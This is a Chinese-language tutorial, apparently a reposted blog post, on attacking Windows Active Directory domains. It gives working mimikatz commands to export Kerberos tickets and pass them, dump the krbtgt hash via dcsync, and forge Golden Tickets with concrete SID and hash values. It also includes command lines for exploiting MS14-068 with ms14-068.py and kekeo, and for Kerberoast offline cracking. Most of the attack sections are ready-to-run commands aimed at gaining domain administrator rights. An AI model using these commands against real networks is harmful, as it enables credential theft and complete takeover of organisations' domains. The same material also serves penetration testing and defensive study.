• 3-pass the ticket


    pass the ticket
    在域环境中,Kerberos协议被用来作身份认证,这里仅介绍几个名词:
    • KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS
    • AS(Authentication Server): 身份认证服务
    • TGS(Ticket Granting Server): 票据授予服务
    • TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时
    • Pass The Ticket: 如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限
    1.获取域控权限后,导出域控内存中的 Ticket
    注:默认 10 小时可以用来登录
    通过 mimikatz 导出内存中的 Ticket,执行:
    privilege::debug
    sekurlsa::tickets /export
    导出如下文件:
    挑选其中的[0;5e3a0]-2-0-40e00000-Administrator@krbtgt-PAYLOAD.COM.kirbi
    在域普通用户的主机进行导入:
    mimikatz “kerberos::ptt [0;5e3a0]-2-0-40e00000-Administrator@krbtgt-PAYLOAD.COM.kirbi”
    导入成功
    查看是否具有域控权限:
    dir \WIN-O3H6V66G0PD.payload.comc$
    klist
    Tips:
    64 位系统使用 ptt 功能要用 32 位的 mimikatz,如果用 64 的 mimikatz,导入Ticket后会有问题!
    Ticket
    这种方式导入的 Ticket 默认在 10 小时以内生效
    2. 导出 krbtgt 的 Hash
    注:每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来生成的,那么,我们如果拿到了 krbtgt
    的密码 Hash,就能任意伪造 ticket 了
    在域控上执行:mimikatz “lsadump::dcsync /domain:payload.com /user:krbtgt”>krb.txt
    生成 mimikatz.输出:
    3.生成 Golden Ticket
    伪造的用户设置为 god 也可以伪造 administrator,执行:
    mimikatz “kerberos::golden /domain:payload.com /sid:S-1-5-21-2589858836-2355546349-2491181575 /aes256:b017618d03ec90dadc70fe72b3e94d2dedc172ac5951463a02eda2e72fdbebc9 /user:god /ticket:gold.kirbi”
    生成文件 gold.kirbi
    Tips:
    生成 Golden Ticket 不仅可以使用 aes256,也可用 krbtgt 的 NTLM hash
    可以用 mimikatz “lsadump::lsa /patch”导出
    privilege::debug
    lsadump::lsa /patch
    ntml 的 hash 导出:
    mimikatz “kerberos::golden /domain:payload.com /sid:S-1-5-21-2589858836-2355546349-2491181575 /krbtgt:19069f46e63bbf268dcf93db50f02810 /user:god /ticket:gold.kirbi”
    生成gold.kirbi
    导入 Golden Ticket,执行如下命令:
    kerberos::ptt gold.kirbi
    成功获得域控权限:
    Tips:
    这种方式导入的 Ticket 默认在 20 分钟以内生效,当然,如果过期了,再次 ptt 导入 Golden Ticket 就好
    可以伪造任意用户,即使其不存在
    krbtgt 的 NTLM hash 不会轻易改变,即使修改域控管理员密码
    六、获取 AD 活动目录下管理员密码的方法
    1. 针对没打补丁的域控利用 MS14-068 漏洞
    该漏洞补丁为:KB3011780
    利用 MS14-068 的步骤:
    1.作为普通用户向域控请求一个没有 PAC 的 Kerberos TGT 认证的票据,域控会返回一个
    TGT(不包含 PAC,PAC 通常包含有用户组中的成员关系)
    2.生成一个伪造的 PAC,因为没有密钥,所以生成的 PAC“被标记”有 MD5 算法,而不是
    带有域用户密码数据的 HMAC_MD5 类型。
    3.把伪造的 PAC 结合上 TGT 构造认证数据,作为 TGS 服务的一部分发送到域控。
    4.域控会混淆构造的数据,所以直接丢弃之前用户发送没带有 PAC 的 TGT,然后新构造一
    个 TGT 并用自己的认证数据插入到伪造的 PAC 当中,再把新 TGT 发送给用户
    5.这样带有伪造 PAC 的 TGT 就能使用户成为有漏洞域控上的域管理员。
    1.python 版本的提权:
    python ms14-068.py -u administrator@payload.com -s S-1-5-21-2589858836-2355546349-2491181575 -d WIN-SVT5AN14FQI.payload.com
    -u 域普通用户
    -s 普通用户对应的sid
    -d 域控地址
    mimikatz.exe “kerberos::ptc TGT_user-a-1@dom-a.loc.ccache” exit
    SID获取方法:
    1)wmic useraccount where name=”USERNAME” get sid
    2)whoami /all 本机可以直接查出自己的SID;
    exp地址:
    参考:
    准备条件:
    • 域用户及其口令
    • 域用户对应sid
    • 域控地址(域主机全名)
    • Win7及以上系统
    漏洞利用的步骤为:
    • 如果漏洞触发成功,会生成.ccache文件
    • 通过klist purge先清除内存中的Ticket
    • 使用mimikatz的ptc功能将.ccache导入到内存
    • 通过klist查看导入的Ticket
    • 使用net use 连接域控
    mimikatz.exe “kerberos::ptc TGT_administrator@payload.com.ccache” exit
    通过klist查看导入的Ticket
    2、kekeo版本的 exe 提权:
    Benjamin DELPY用c实现了MS14-068的利用工具,更简单高效。
    因为域用户对应sid本就可以通过程序自动获取,清除导入票据也能自动实现,当然,如果想用其他域用户信息攻击,也可以加上sid手动导入票据
    kekeo的快捷用法仅需要以下参数:
    • 域用户及其口令
    • 域控地址
    注:它是 PyKEK 的升级版。它能够找到并定位有漏洞的域控,在打了补丁和有 2012/2012R2
    域控的情况下仍能奏效
    ms14068.exe “/domain:payload.com /user:administrator /password:admin@123 /ptt”
    2. Kerberos TGS 服务 Ticket 离线破解(Kerberoast)
    tgsrepcrack.py
    wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
    参考视频:https://www.youtube.com/watch?v=PUyhlN-E5MU&feature=youtu.be
    参考资料:https://adsecurity.org/?p=2293
  • 相关阅读:
    linq to sql内链接,左右链接(示例)
    ASP.NET MVC HtmlHelper用法大全
    浅析PHP学习的路线图
    c#大话设计模式(带目录完整版)[中文PDF+源代码]
    SQL语言实务速查效率手册
    设计模式基于C#的工程化实现及扩展
    sql 时间类型 like 查询
    DWZ表单验证规则一览表
    【今日CS 视觉论文速览】Thu, 13 Dec 2018
    【今日CS 视觉论文速览】Wed, 12 Dec 2018
  • 原文地址:https://www.cnblogs.com/micr067/p/12519753.html
Copyright © 2020-2023  润新知